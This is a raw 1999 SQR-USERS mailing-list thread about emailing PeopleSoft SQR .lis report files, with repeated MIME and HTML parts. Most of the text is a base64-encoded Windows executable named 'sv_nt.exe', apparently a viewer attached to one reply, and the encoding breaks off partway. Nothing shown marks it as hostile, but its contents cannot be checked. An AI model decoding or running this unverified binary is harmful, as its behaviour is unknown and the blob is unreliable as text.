[mailto:diwakar.v.bhatt@AC.COM] Sent: Tuesday, October 12, 1999 5:13 PM To: Multiple recipients of list SQR-USERS Subject: E-mailing a SQR report: Conversion requirements Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) file and we would like to convert it, probably using Acrobat, and then = e-mail it. What are the other ways to convert it. The recipient is not a = PeopleSoft user and does not have any sqr product on their site. ------=_NextPart_000_001A_01BF155D.78E4DDF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi all,
 
Hope you all aware of the fact that all = the .lis=20 files are not readable in notepad or some other editor. You can read the .lis file in a notepad if you are using a = line=20 printer only and you can't read it if you are using a HP or PS printer=20 explicitly in SQR or default it in setenv.sqc.
 
PeopleSoft recommends not to view/ = open/ edit the=20 .lis files using any type of editors as the .lis file contains printer = specific=20 commands. You may find it = in PeopleSoft=20 resolutions using customer connection
 
As others suggested you could ask your = clients to=20 down load the SPF viewer before they view the first report.
 
kris
 
----- Original Message -----
From:=20 Reznik,=20 Michael
To: Multiple=20 recipients of list SQR-USERS
Sent: Wednesday, October 13, = 1999 7:31=20 AM
Subject: Re: E-mailing a SQR = report:=20 Conversion requirements

In all honesty I think you are making this a bigger = problem=20 than it
needs to be.  The .lis file is just a simple text = file. =20 You can rename
the file from xxx.lis to xxx.txt and use notepad to = open=20 it.  There is
no conversion needed.  Just attach the = report to=20 the email and let the
user open the report in any program they = want. =20 If they want to print
the report and keep the formatting then all = they need=20 to do is just copy
the report to the printer from a dos prompt (I = believe=20 John Sayre
touched upon this).

Really simply: > Copy=20 C:\temp\xxx.lis lpt1 (if lpt1 is=20 = defined)
OR
         &= nbsp;    =20 > Copy C:\temp\xxx.lis \\printer_loacation\prin= ter_name

Hope=20 this helps,

-Mike


-----Original = Message-----
From:=20 Diwakar Bhatt [mailto:diwakar.v.bhatt@AC.COM]=
Sent:=20 Tuesday, October 12, 1999 5:13 PM
To: Multiple recipients of list=20 SQR-USERS
Subject: E-mailing a SQR report: Conversion=20 requirements


Has anyone e-mailed a sqr report itself? The = sqr=20 produces a .lis (dot
LIS) file
and we would like to convert it, = probably=20 using Acrobat, and then e-mail
it.
What are the other ways to = convert=20 it. The recipient is not a PeopleSoft
user
and does not have any = sqr=20 product on their site.

------=_NextPart_000_001A_01BF155D.78E4DDF0-- From owner-sqr-users@list.iex.net Wed Oct 13 12:48:30 1999 Date: Wed, 13 Oct 1999 09:40:29 -0700 From: Pankaj Bedekar Subject: Re: E-mailing a SQR report: Conversion requirements This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01BF1599.A940C6BC Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF1599.A940C6BC" ------_=_NextPart_001_01BF1599.A940C6BC Content-Type: text/plain; charset="iso-8859-1" instead use this editor to view the final output file ... it takes care of print commands and u can see what u r goingt osee on printer .. u need not create SPF file with -KEEP .. just open .LIS file in this editor -----Original Message----- From: Kris Narravula [mailto:kris_narravula@HOTMAIL.COM] Sent: Wednesday, October 13, 1999 9:30 AM To: Multiple recipients of list SQR-USERS Subject: Re: E-mailing a SQR report: Conversion requirements Hi all, Hope you all aware of the fact that all the .lis files are not readable in notepad or some other editor. You can read the .lis file in a notepad if you are using a line printer only and you can't read it if you are using a HP or PS printer explicitly in SQR or default it in setenv.sqc. PeopleSoft recommends not to view/ open/ edit the .lis files using any type of editors as the .lis file contains printer specific commands. You may find it in PeopleSoft resolutions using customer connection As others suggested you could ask your clients to down load the SPF viewer before they view the first report. kris ----- Original Message ----- From: Reznik, Michael To: Multiple recipients of list SQR-USERS Sent: Wednesday, October 13, 1999 7:31 AM Subject: Re: E-mailing a SQR report: Conversion requirements In all honesty I think you are making this a bigger problem than it needs to be. The .lis file is just a simple text file. You can rename the file from xxx.lis to xxx.txt and use notepad to open it. There is no conversion needed. Just attach the report to the email and let the user open the report in any program they want. If they want to print the report and keep the formatting then all they need to do is just copy the report to the printer from a dos prompt (I believe John Sayre touched upon this). Really simply: > Copy C:\temp\xxx.lis lpt1 (if lpt1 is defined) OR > Copy C:\temp\xxx.lis \\printer_loacation\printer_name Hope this helps, -Mike -----Original Message----- From: Diwakar Bhatt [ mailto:diwakar.v.bhatt@AC.COM ] Sent: Tuesday, October 12, 1999 5:13 PM To: Multiple recipients of list SQR-USERS Subject: E-mailing a SQR report: Conversion requirements Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot LIS) file and we would like to convert it, probably using Acrobat, and then e-mail it. What are the other ways to convert it. The recipient is not a PeopleSoft user and does not have any sqr product on their site. ------_=_NextPart_001_01BF1599.A940C6BC Content-Type: text/html; charset="iso-8859-1"
instead use this editor to view the final output file ...
it takes care of print commands and u can see what u r goingt osee on printer .. u need not create SPF file with -KEEP ..
just open .LIS  file in this editor
-----Original Message-----
From: Kris Narravula [mailto:kris_narravula@HOTMAIL.COM]
Sent: Wednesday, October 13, 1999 9:30 AM
To: Multiple recipients of list SQR-USERS
Subject: Re: E-mailing a SQR report: Conversion requirements

 
Hi all,
 
Hope you all aware of the fact that all the .lis files are not readable in notepad or some other editor. You can read the .lis file in a notepad if you are using a line printer only and you can't read it if you are using a HP or PS printer explicitly in SQR or default it in setenv.sqc.
 
PeopleSoft recommends not to view/ open/ edit the .lis files using any type of editors as the .lis file contains printer specific commands. You may find it in PeopleSoft resolutions using customer connection
 
As others suggested you could ask your clients to down load the SPF viewer before they view the first report.
 
kris
 
----- Original Message -----
Sent: Wednesday, October 13, 1999 7:31 AM
Subject: Re: E-mailing a SQR report: Conversion requirements

In all honesty I think you are making this a bigger problem than it
needs to be.  The .lis file is just a simple text file.  You can rename
the file from xxx.lis to xxx.txt and use notepad to open it.  There is
no conversion needed.  Just attach the report to the email and let the
user open the report in any program they want.  If they want to print
the report and keep the formatting then all they need to do is just copy
the report to the printer from a dos prompt (I believe John Sayre
touched upon this).

Really simply: > Copy C:\temp\xxx.lis lpt1 (if lpt1 is defined)
OR
               > Copy C:\temp\xxx.lis \\printer_loacation\printer_name

Hope this helps,

-Mike


-----Original Message-----
From: Diwakar Bhatt [mailto:diwakar.v.bhatt@AC.COM]
Sent: Tuesday, October 12, 1999 5:13 PM
To: Multiple recipients of list SQR-USERS
Subject: E-mailing a SQR report: Conversion requirements


Has anyone e-mailed a sqr report itself? The sqr produces a .lis (dot
LIS) file
and we would like to convert it, probably using Acrobat, and then e-mail
it.
What are the other ways to convert it. The recipient is not a PeopleSoft
user
and does not have any sqr product on their site.

------_=_NextPart_001_01BF1599.A940C6BC-- ------_=_NextPart_000_01BF1599.A940C6BC Content-Type: application/octet-stream; name="sv_nt.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sv_nt.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADEYW5TgAAAAIAAAACAAAAAgAAAAGkAAABSaWNogAAAAAAAAAAAAAAAAAAA AAAAAABQRQAATAEDAMqJ6jcAAAAAAAAAAOAADwELAQUKAAwBAAAyAQAAAAAA4LEAAAAQAAAAIAEA AABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABgAgAABgAA3SICAAIAAAAAABAAABAAAAAAEAAA EAAAAAAAABAAAAAAAAAAAAAAAAgzAQBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAhAEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAugsBAAAQAAAADAEAAAYAAAAAAAAAAAAA AAAAACAAAGAucmRhdGEAAAocAAAAIAEAAB4AAAASAQAAAAAAAAAAAAAAAABAAABALmRhdGEAAABE EgEAAEABAAAwAAAAMAEAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgewU AQAAZqEwQEEAig0yQEEAZolEJACITCQC6FA8AACLhCQYAQAAjVQkDGgFAQAAUlD/FcQgQQCNRCQE jUwkDI1UJABQagKJTCQMiVQkEOgMAAAAg8QIgcQUAQAAwhAAVVZXaABEQABqAujxkQAAg8QIaABE QABqD+jikQAAg8QIaABEQABqC+jTkQAAi0QkHIPECIsIiQ2QPUIA6P9lAACjmD1CAI1UJBSNRCQQ UlDHBch1QQAAAAAA6BEBAACLVCQYg8QIhdIPjP4AAACFwA+F9gAAAItsJBSF0oktVHZBAH44iw1U dkEAiwGKCITJdBCA+Vx1A8YAL4pIAUCEyXXwiw1UdkEAg8EESokNVHZBAHXQi2wkFItUJBCF0okV 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 